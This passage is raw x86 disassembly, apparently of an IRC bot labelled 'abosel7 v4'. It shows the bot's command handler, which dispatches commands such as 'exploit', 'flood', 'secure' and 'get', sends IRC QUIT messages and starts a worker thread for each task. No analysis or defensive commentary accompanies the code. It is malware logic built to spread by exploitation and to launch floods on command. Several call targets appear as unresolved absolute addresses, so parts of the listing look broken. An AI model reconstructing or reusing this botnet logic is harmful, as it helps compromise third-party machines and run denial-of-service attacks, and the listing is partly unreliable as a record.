		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h

loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------

loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------

loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------

loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A0861h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax

loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644

loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF58
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38

loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF38

loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------

loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1

loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40418D

loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_404177
; ---------------------------------------------------------------------------

loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	near ptr 269096Bh
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BED8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------

loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEC0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA7C
		call	dword_4CB93C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BEA8
		jmp	short loc_40423F
; ---------------------------------------------------------------------------

loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE90

loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8

loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h

loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40434A

loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_404334
; ---------------------------------------------------------------------------

loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42BE40
		jmp	loc_4097CB
; ---------------------------------------------------------------------------

loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE28
		call	sub_415D38

loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE24
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------

loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx

loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE04
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40444C

loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_404436
; ---------------------------------------------------------------------------

loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset unk_42BDC8
		jmp	loc_409091
; ---------------------------------------------------------------------------

loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aDark	; "Dark"
		push	offset unk_42BDB0

loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------

loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD84
		jmp	short loc_404467
; ---------------------------------------------------------------------------

loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------

loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx

loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------

loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD34
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD04
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------

loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------

loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCF4
		push	offset dword_42BCE4
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCD8
		push	offset dword_42BCC8
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------

loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074

loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi

loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------

loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------

loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl

loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BCA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4046CA

loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------

loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42BC64
		jmp	loc_4097CB
; ---------------------------------------------------------------------------

loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------

loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084

loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4047D0

loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------

loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42BBF8
		jmp	loc_4097CB
; ---------------------------------------------------------------------------

loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813

loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1

loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBC4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4048CE

loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------

loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 269096Bh
		nop
		push	eax
		push	offset dword_42BB88
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB

loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------

loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB38
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB28
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD60
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------

loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAFC
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAD0
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------

loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD60
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF190, ebx
		jz	short loc_404A01
		push	offset dword_4CEB70

loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA94
		jmp	loc_404A97
; ---------------------------------------------------------------------------

loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------

loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA54
		jmp	short loc_404A97
; ---------------------------------------------------------------------------

loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB70
		call	sub_41C890
		pop	ecx
		mov	dword_4CF190, 1
		pop	ecx
		push	edi
		push	offset unk_42BA28

loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------

loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9F0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_404BA0

loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------

loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42B9B0
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
